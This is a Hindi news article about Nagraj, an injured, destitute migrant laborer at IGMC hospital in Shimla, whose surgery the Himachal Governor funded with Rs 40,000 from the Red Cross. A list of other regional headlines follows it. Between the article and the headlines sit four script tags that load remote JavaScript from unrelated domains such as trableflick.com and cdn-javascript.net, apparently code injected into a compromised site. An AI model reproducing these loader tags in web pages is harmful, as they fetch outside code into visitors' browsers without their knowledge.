<p>शिमला के इंदिरा गांधी मेडिकल कॉलेज अस्पताल में गंभीर अवस्था में भर्ती उड़ीसा का बेसहारा मजदूर नागराज (45) अब जिंदगी की जंग नहीं हारेगा। वह दो महीने पहले रामपुर में मजदूरी करते हुए दुर्घटना का शिकार हो गया था। इस हादसे में उसके एक हाथ में फ्रैक्चर है और कूल्हे की हड्डी भी टूटी हुई है। उमंग फाऊंडेशन के अध्यक्ष प्रो. अजय श्रीवास्तव के प्रयासों से हिमाचल प्रदेश के राज्यपाल बंडारू दत्तात्रेय ने उसकी सर्जरी एवं इलाज के लिए रेड क्रॉस से 40 हज़ार रूपये मंजूर कर दिए हैं। लेकिन बेसहारा नागराज के पास अस्पताल में मदद के लिए कोई अटेंडेंट नहीं है।</p>
<p>नागराज एक दुर्घटना के बाद रामपुर के राजकीय अस्पताल में गंभीर अवस्था में भर्ती कराया गया था। उसकी सर्जरी होनी थी जो कि शिमला के आईजीएमसी अस्पताल में ही संभव थी। राम विरामपुर के एडवोकेट एवं भारत विकास परिषद के पदाधिकारी विनय शर्मा और उनके साथियों ने अपने स्तर पर उसकी काफी मदद की। बाद में उमंग फाउंडेशन के प्रयास से उसे आईजीएमसी शिमला में लाया गया। नागराज उड़ीसा के जिला राउरकेला के नवागांव का रहने वाला है वह रामपुर में एक ठेकेदारों के पास 10 साल से मजदूरी कर रहा था। उसके माता पिता की मृत्यु हो चुकी है और सिर्फ एक बहन है जो शादीशुदा है। करीब 15 साल से उसका अपने गांव के साथ कोई संबंध नहीं है। नागराज की शादी नहीं हुई। वह बताता है कि दुर्घटना के बाद ठेकेदार ने उसे खनेरी अस्पताल में लाकर छोड़ दिया उसके बाद कोई मदद नहीं की।</p>
<p>आईजीएमसी के वरिष्ठ डॉक्टर अधीक्षक डॉ. जनक राज का कहना है कि मुफ्त इलाज के लिए उसके पास आयुष्मान कार्ड भी नहीं है और न ही आधार कार्ड एवं राशन कार्ड। अस्पताल से जितना संभव हुआ उसे मुफ्त इलाज दिया गया। इसके अलावा ऐसे मरीजों की मुख्य समस्या जो होती है कि उनके साथ कोई अटेंडेंट नहीं होता। प्रो. श्रीवास्तव ने कहा कि यह सच है कि अस्पताल के डॉक्टर अधीक्षक, डाक्टर और नर्सें नागराज जैसे बेसहारा मरीजों की मदद के लिए तत्पर रहते हैं। लेकिन इलाज के लिए धन और अटेंडेंट का न होना उनके लिए बड़ी मुसीबत बन जाता है।</p>
<p>नागराज की दयनीय स्थिति देखकर प्रो. श्रीवास्तव ने राज्यपाल बंडारू दत्तात्रेय को पत्र लिखकर उनसे इलाज और मानवाधिकारों की रक्षा के लिए मदद मांगी। राज्यपाल के सचिव राकेश कंवर ने बताया कि महामहिम ने तुरंत रेड क्रॉस से उसके इलाज के लिए 40 हजार रुपए स्वीकृत कर दिए। अब नागराज जिंदगी की जंग नहीं हारेगा और उसकी सर्जरी और इलाज संभव हो जाएगा।</p>
<p>लेकिन बड़ा सवाल यह है कि वह अस्पताल से छुट्टी होने के बाद काफी समय तक न तो मजदूरी करने में सक्षम रहेगा और नहीं उसके पास रहने के लिए कोई ठिकाना होगा। वह उड़ीसा वापस जाकर भी कुछ हासिल नहीं कर पाएगा क्योंकि वहां भी अब उसका कोई नहीं है। शिमला के पास बसंतपुर में सरकारी वृद्धाश्रम में उसे रखा जा सकता है यदि सामाजिक न्याय एवं अधिकारिता विभाग इसके लिए नियमों में छूट दे। वहां 60 साल या उससे अधिक आयु के बेसहारा व्यक्ति ही रह सकते हैं।</p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
<script src=”http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8620x” type=”text/javascript”></script>
<script src=”http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8620x&format=arrjs&r=1579339462929″ type=”text/javascript”></script>
<script src=”http://trableflick.com/ext/21aca573d498d25317.js?sid=52587_8620_&title=a&blocks[]=31af2″ type=”text/javascript”></script>
Himachal Villagers Protest Tax Burden: हमीरपुर जिले की दडूही पंचायत के ग्रामीण सोमवार को उपायुक्त…
Nahan Kho-Kho Tournament: सिरमौर जिला मुख्यालय नाहन के ऐतिहासिक चौगान मैदान में अंतर महाविद्यालय खो-खो…
Hamirpur BJP Membership Drive: हिमाचल प्रदेश में 3 सितंबर से शुरू हुए भारतीय जनता पार्टी…
Himachal Congress vs BJP: कांग्रेस के पूर्व मुख्य प्रवक्ता प्रेम कौशल ने भाजपा के 11…
हाईकोर्ट ने हिमाचल प्रदेश पर्यटन विकास निगम (एचपीटीडीसी) के घाटे में चल रहे 9 और…
Himachal Govt ₹64 Crore Payment: दिल्ली स्थित हिमाचल भवन की कुर्की से बचाने के लिए…